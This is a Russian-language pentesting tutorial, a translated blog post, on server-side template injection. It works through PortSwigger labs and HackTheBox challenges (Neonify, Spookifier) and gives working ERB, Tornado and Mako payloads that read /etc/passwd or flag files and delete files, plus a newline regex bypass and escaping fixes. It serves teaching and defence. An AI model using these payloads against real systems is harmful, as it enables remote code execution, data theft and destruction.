SSTI: Использование шаблонных движков [Complete web app pentesting series #12]
Введение
Это руководство, сочетающее тестирование методом "черного ящика" и "белого ящика", которое рассматривает уязвимости инъекции шаблонов на стороне сервера (SSTI) в двух фреймворках приложений. Первый раздел, использующий тестирование методом "черного ящика", анализирует приложение на основе Ruby и Tornado с внешней точки зрения для выявления уязвимостей SSTI путем применения фаззинга, вызова ошибок и внедрения полезной нагрузки. Далее анализ переходит к тестированию методом "белого ящика" для полного исследования исходного кода, выявления уязвимых мест, создания рабочих эксплойтов и методов безопасного программирования. Этот пост в блоге предоставляет глубокое понимание атак SSTI и методов их устранения для пентестеров и разработчиков, стремящихся укрепить защиту.
Тестирование методом "черного ящика"
1. Исследование веб-приложения
Лабораторное приложение использует параметр message в GET-запросах для отображения краткой информации о продукте на главной странице. Например, при попытке просмотреть подробности о первом продукте отображается сообщение:
"К сожалению, этот товар в настоящее время отсутствует на складе."
Это интересно, давайте попробуем отправить этот запрос в Intruder и Repeater и посмотрим, что получится.
2. Первичное обнаружение SSTI
Тестирование с математической операцией
Надежный способ подтвердить наличие SSTI — внедрить безобидную полезную нагрузку, выполняющую математическую операцию. Примеры полезных нагрузок:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}Вы можете использовать эти полезные нагрузки и провести фаззинг с помощью Intruder для проверки на SSTI.
Совет по Burp Suite: При фаззинге для SSTI вы можете использовать раздел настроек в Intruder и применить grep extract, чтобы выбрать, что отображать на экране во время фаззинга.
3. Эскалация до удаленного выполнения кода (RCE)
Использование метода system() в Ruby
После подтверждения SSTI следующим шагом является достижение удаленного выполнения кода (RCE). Согласно документации Ruby, метод system() позволяет выполнять произвольные команды операционной системы. Мы можем создать полезную нагрузку для удаления файла, например, /home/carlos/morale.txt.
Необходимая полезная нагрузка:
<%= system("rm /home/carlos/morale.txt") %>GET /?message=<%25%3d+system('cat+/etc/passwd')+%25>Используя эту полезную нагрузку, мы можем получить доступ к файлу /etc/passwd
Теперь немного изменим полезную нагрузку, чтобы удалить файл morale.txt:
<%= system("rm /home/carlos/morale.txt") %>После URL-кодирования полезная нагрузка становится:
https://YOUR-LAB-ID.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>При выполнении эта полезная нагрузка заставляет сервер выполнить команду rm, которая удаляет указанный файл. Таким образом, мы решаем лабораторное задание.
Лаборатория 1: Базовая инъекция шаблонов на стороне сервера (контекст кода)
URL лаборатории: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context
1. Исследование приложения
На сайте есть функция входа в систему и раздел комментариев к блогу. Сначала мы пытаемся проверить, можно ли отразить какие-либо полезные нагрузки SSTI, но ничего не отображается. Переходим к разделу входа в систему.
С помощью предоставленных учетных данных мы входим в систему и замечаем интересный параметр POST.
2. Выявление уязвимости
Сначала мы можем провести фаззинг полезных нагрузок, как в предыдущих лабораториях, но ничего не отображается. Тогда мы пытаемся вызвать ошибку, чтобы определить, какой шаблонный движок используется.
Если изменить имя пользователя на что-то другое, возникает ошибка. Попробуем изменить параметр user.name на что-то другое. Это должно показать ошибку, раскрывающую используемый шаблонный движок.
user.nameDoesnotexist
Это показывает, что в бэкенде используется Tornado.
3. Тестирование
Обратите внимание, что обычно в нашем сценарии полезная нагрузка SSTI должна пройти, но в данном случае мы получаем ошибку. Это означает, что код, работающий в бэкенде, выглядит следующим образом.
В шаблонах Tornado выражения заключаются в {{ ... }}. Фрагмент user.name}} просто закрывает исходное выражение для user.name. Сразу после этого можно открыть новое выражение с {{ payload }}, что заставляет Tornado рассматривать его как отдельный код. Эта техника позволяет "выйти" из существующего выражения и внедрить собственную логику шаблона.
Чтобы проверить, обрабатывается ли наш ввод на уровне шаблонного движка Tornado, мы перехватили запрос с помощью Burp Repeater и изменили параметр blog-post-author-display. Внедряем:
user.name}}{{7*7}}После перезагрузки страницы имя пользователя отобразилось примерно так:
Peter Wiener49}}
Вывод результата вычисления (49 от выражения 7*7) показал, что наш ввод обрабатывается шаблонным движком. Этот успешный результат подтвердил наличие уязвимости SSTI.
4. Модификация эксплойта
Подтвердив SSTI, следующим шагом было развитие полезной нагрузки для удаленного выполнения кода (RCE). Язык шаблонов Tornado поддерживает включение блоков кода Python с использованием синтаксиса:
{% somePython %}Изучив документацию Tornado и Python, мы выяснили, что можно импортировать модуль os и выполнять команды с помощью os.system(). Сначала можно использовать безобидную команду (например, whoami или pwd) для подтверждения доступа. После проверки мы модифицировали полезную нагрузку для деструктивной цели — удаления чувствительного файла (/home/carlos/morale.txt) с помощью следующей полезной нагрузки:
{% import os %}
{{os.system('rm /home/carlos/morale.txt')}}Для корректной передачи эта полезная нагрузка должна быть URL-кодирована и внедрена путем выхода из текущего контекста выражения.
Последний шаг — отправка созданной полезной нагрузки через уязвимый параметр. В Burp Repeater мы изменили POST-запрос к /my-account/change-blog-post-author-display, установив параметр:
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')После URL-кодирования и отправки запроса перезагрузка страницы запустила оценку шаблона. Это должно решить лабораторное задание. Вы получите перенаправление, и, следуя ему, вы завершите лабораторию.
Тестирование методом "белого ящика"
1. Neonify
Ссылка на лабораторию: https://app.hackthebox.com/challenges/Neonify
Анализ исходного кода
Рассмотрим следующий исходный код на Ruby. После скачивания исходного кода распакуйте его с паролем hackthebox, и вы найдете основной файл neon.rb в папке web_neonify/challenge/app/controllers.
class NeonControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
@neon = "Glow With The Flow"
erb :'index'
end
post '/' do
if params[:neon] =~ /^[0-9a-z ]+$/i
@neon = ERB.new(params[:neon]).result(binding)
else
@neon = "Malicious Input Detected"
end
erb :'index'
end
endПримечание: Sinatra в контексте Ruby — это легковесный веб-фреймворк, который позволяет быстро создавать веб-сервисы с минимальной настройкой, простой в использовании и гибкий для создания веб-приложений.
Приложение определяет два маршрута: GET для отображения сообщения по умолчанию и POST для обработки пользовательского ввода.
@neon = ERB.new(params[:neon]).result(binding)
Эта строка обрабатывает пользовательский ввод и компилирует его как шаблон ERB. Если злоумышленник отправит вредоносный код ERB, например:
a <%=%x(cat flag.txt)%>
то он сможет получить доступ к файлам на удаленном сервере.
Почему регулярное выражение не работает:
Хотя регулярное выражение /^[0-9a-z ]+$/i должно ограничивать ввод, его можно обойти, используя многострочный ввод. В данном случае символ новой строки (\n) позволяет вредоносной части ввода пройти проверку.
Вывод выполнения ERB (или сообщение об ошибке) отображается через шаблон erb :'index'.
Эксплуатация уязвимости
В отличие от типичного блога, я также включу свои попытки и неудачи. Этот раздел содержит описание того, что я пробовал, и возможные причины неудач.
a\n<%= %x(cat flag.txt) %>
Специальные символы, включая новую строку \n, <, %=, > и (), находятся за пределами разрешенного набора символов. Проверка регулярного выражения применяется ко всей строке ввода, и даже после URL-кодирования она не проходит, так как содержит запрещенные символы.
a
<%= File.open('flag.txt').read %>Первая строка содержит только допустимый символ a, но вторая строка включает <, %, = и >. Регулярное выражение применяется ко всей строке ввода, и запрос отклоняется из-за запрещенных символов.
<%= File.open('flag.txt').read %>Полезная нагрузка начинается с синтаксиса ERB и сразу вызывает ошибку, так как содержит запрещенные символы. Регулярное выражение отклоняет полезную нагрузку, и сервер возвращает сообщение "Malicious Input Detected".
<h1 class="glow"><%= @neon
<%= File.open('flag.txt').read %>%></h1><h1 class="glow"><%= a
<%= File.open('flag.txt').read %>%></h1>Оба запроса содержат HTML-обертку. Весь ввод, включая <h1 class="glow"> и закрывающие теги, содержит запрещенные символы (<, >, ", %). Даже с безобидным элементом (a или @neon) регулярное выражение отклоняет весь ввод.
Успешная попытка:
Рабочая полезная нагрузка (из статьи Ashique):
a
<%= File.open('flag.txt').read %>После URL-кодирования полезной нагрузки мы смогли получить флаг:
%61%0a%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%66%6c%61%67%2e%74%78%74%27%29%2e%72%65%61%64%20%25%3e
- Разделение новой строкой: Полезная нагрузка состоит из двух строк: a (соответствует регулярному выражению) и вредоносный код ERB во второй строке.
- Правильное URL-кодирование: Весь ввод, включая обе строки, объединяется в одну строку для кодирования.
Исправление уязвимости
Предложенное решение от Claude AI:
post '/' do
if params[:neon] && params[:neon].match?(/^[a-zA-Z0-9 ]+$/)
@neon = Rack::Utils.escape_html(params[:neon])
else
@neon = "Invalid Input"
end
erb :'index'
endclass NeonControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
@neon = "Glow With The Flow"
erb :'index'
end
post '/' do
# Sanitize input by using an explicit whitelist of allowed characters
if params[:neon] && params[:neon].match?(/^[a-zA-Z0-9 ]+$/)
# Escape the input to prevent ERB rendering
@neon = Rack::Utils.escape_html(params[:neon])
else
@neon = "Invalid Input"
end
erb :'index'
end
endКлючевое изменение — добавление строки:
@neon = Rack::Utils.escape_html(params[:neon])
Более строгое регулярное выражение:
Регулярное выражение /^[a-zA-Z0-9 ]+$/ разрешает только буквы (верхний и нижний регистр), цифры и пробелы.
Вместо компиляции пользовательского ввода как шаблона ERB мы теперь санитизируем его с помощью Rack::Utils.escape_html. Rack — это модульный интерфейс для разработки веб-приложений на Ruby, унифицирующий API для веб-серверов, фреймворков и промежуточного ПО.
Функция Utils.escape_html преобразует все специальные HTML-символы в безопасные сущности, например, < становится <. Даже если злоумышленник попытается внедрить теги ERB, они будут отображаться как обычный текст.
Карта обработки ввода в формате Markdown
Чтобы упростить понимание обработки полезной нагрузки и работы исправленного кода, давайте рассмотрим блок-схему:
Примечание: Блок-схемы (с использованием flowchart.fun) иллюстрируют ключевые шаги для каждой версии.
Теперь повторно отправим полезную нагрузку и проверим, можно ли получить флаг.
При преобразовании обработки пользовательского ввода из динамической оценки ERB в безопасную замену HTML-фрагментов мы эффективно предотвращаем инъекцию шаблонов ERB. Полезная нагрузка a\n<%=%x(cat flag.txt)%> становится неэффективной и отображается как:
a <%= File.open('flag.txt').read %>
Ответ веб-сервера показывает, что мы не можем получить флаг, а все специальные символы преобразованы в их эквиваленты HTML-сущностей.
2. Spookify
Ссылка на лабораторию: https://app.hackthebox.com/challenges/Spookifier
Анализ уязвимости исходного кода
Уязвимость возникает из-за недостаточной обработки входных данных, распределенных по нескольким ключевым файлам. При скачивании и анализе исходного кода обнаруживаются следующие файлы с уязвимым кодом:
Файл: application/blueprints/routes.py
В этом файле определен маршрут для получения текста параметра GET перед передачей данных в функцию обработки.
@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html', output=converted)
return render_template('index.html', output='')Основная логика обработки пользовательского ввода с использованием шаблонного движка Mako находится в этом файле. Уязвимость возникает из-за того, что шаблонная система принимает несанитизированный ввод.
Обработка ввода и преобразование шрифта
В application/util.py функция spookify принимает пользовательский ввод и передает его в функцию change_font:
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)Функция преобразования с динамическим поиском
Функция change_font в application/util.py разбивает текст на символы и связывает их с определенными шрифтами через заранее определенные словари. Функция globals() используется для получения этих словарей.
def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text, font_type: (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text],
all_fonts.append(''.join(current_font)),
current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fontsФункция generate_render содержит основную уязвимость. Движок Mako использует несанитизированный пользовательский ввод для заполнения HTML-шаблона, который затем рендерится. Выражения, начинающиеся и заканчивающиеся ${...}, могут быть выполнены в этой системе.
def generate_render(converted_fonts):
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*converted_fonts)
return Template(result).render()Любое выражение шаблона Mako, присутствующее в пользовательском вводе, может быть выполнено, так как result имеет прямой доступ к несанитизированным данным из converted_fonts. Это основная причина уязвимости SSTI.
Методология эксплуатации
Злоумышленник может отправить безобидную полезную нагрузку, например:
${7*7}Если вывод отображает "49", это подтверждает, что выражения шаблона оцениваются.
Подтвердив наличие уязвимости SSTI, мы можем получить удаленное выполнение кода (RCE) для чтения /flag.txt.
Согласно сайтам, таким как HackTricks, следующая полезная нагрузка выполняет команду whoami через уязвимость SSTI:
${self.module.cache.util.os.popen('whoami').read()}Изменим команду с whoami на cat flag.txt:
${self.module.cache.util.os.popen('cat /flag.txt').read()}Исправления и меры по устранению
Для устранения уязвимости рассмотрите следующие меры:
Необходимо использовать методы экранирования, которые обезвреживают разделители шаблонов из пользовательского ввода. Библиотека markupsafe — пример решения.
from markupsafe import escape
def generate_render(converted_fonts):
safe_fonts = [escape(font) for font in converted_fonts]
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*safe_fonts)
return Template(result).render()Безопасный рендеринг шаблонов:
Пользовательские данные никогда не должны участвовать в динамическом построении строк шаблонов, так как они остаются нефильтрованными. Ввод пользователей должен использоваться как переменные шаблона с применением безопасных практик рендеринга.
- Разделяйте пользовательский контент от логики шаблонов.
- Проводите регулярные аудиты кода на наличие аналогичных уязвимостей и применяйте строгую валидацию ввода через белые списки.
Пользователи могут изучить файлы application/blueprints/routes.py и application/util.py, чтобы понять источник уязвимости и необходимые меры безопасности для кода.
Заключение
В сценариях "черного ящика" и "белого ящика" удаленное выполнение кода (RCE) возможно через несанитизированный пользовательский ввод, передаваемый непосредственно в шаблонные движки. Мы показали, что небрежность, такая как отсутствие санитизации многострочного ввода, пропуск специальных символов или использование неверного синтаксиса шаблонов, может привести к серьезным компрометациям системы. Соблюдение лучших практик, таких как экранирование всего ввода, использование строгих фильтров регулярных выражений и разделение бизнес-логики от кода представления, может предотвратить атаки SSTI. Регулярное тестирование — как внешнее, так и внутреннее — и тщательные проверки кода делают системы надежно защищенными.
Оригинальная статья | Перевод: THREAD